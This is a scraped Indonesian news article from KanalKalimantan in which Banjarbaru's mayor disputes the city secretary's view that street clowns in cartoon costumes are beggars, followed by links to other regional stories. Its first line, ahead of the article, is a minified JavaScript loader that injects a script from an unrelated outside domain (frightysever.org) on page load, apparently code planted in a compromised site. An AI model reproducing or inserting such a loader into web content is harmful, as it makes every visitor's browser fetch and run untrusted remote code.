(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Pernyataan mengenai badut jalanan karakter kartun yang kini menjadi buah bibir di media sosial oleh Sekretaris Daerah Kota Banjarbaru H Said Abdullah yang dianggap pengemis dan harus ditertibkan, ternyata bertolak belakang dengan pendapat dari Walikota Banjarbaru Nadjmi Adhani yang mempunyai pemikiran berbeda dengan Sekda.
Nadjmi tak sepakat dengan Sekda, menurutnya badut jalanan karakter kartun itu bukan pengemis. Pendapat bijak pun disuarakan Nadjmi Adhani. Dikatakannya Nadjmi jika para badut jalanan karakter kartun yang mulai berseliweran di jalan-jalan kota Idaman hanya orang yang berprofesi sebagai penjual jasa.
“Mereka ada modal, melakukan persiapan, bukan hanya sekedar meminta-minta,†ucap Nadjmi.
Dikatakan Nadjmi, memang perlu disikapi untuk penempatan lokasi mereka dalam menjalankan profesi. Karena jika tidak diatur, seperti berada di pinggir jalan dikhawatirkan akan membahayakan pengguna jalan, bisa mengganggu kosentrasi berkendaraan orang yang melintas, dan bisa membahayakan keselamatan mereka.
“Secara pribadi , badut ini menghibur, silahkan berusaha. Tapi tolong posisikan diri di lokasi aman, misal di taman Van der Pijl, jangan dijalanan. Kalau celaka dijalanan kan kasihan juga para badut itu,†kata Nadjmi.
Pernyataannya yang menyebut profesi badut jalanan sama dengan pengemis oleh Sekretaris Daerah Kota Banjarbaru Said Abdullah sebelumnya memang berhasil mendulang reaksi warganet.
Sementara itu, Kepala Satpol PP Banjarbaru Marhain Rahman melalui PPNS Yanto Hidayat mengaku, masih mempelajari status badut jalanan karakter kartun itu. “Mereka belum bisa disebut pengemis, karena ada jasa yang dijual,†katanya.
Jasa yang dijual para badut ialah mengajak berfoto masyarakat yang memberi mereka uang. “Mereka juga tidak mengganggu, jadi kita pelajari dulu apa dasar untuk menertibkan mereka,†pungkasnya. (devi)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.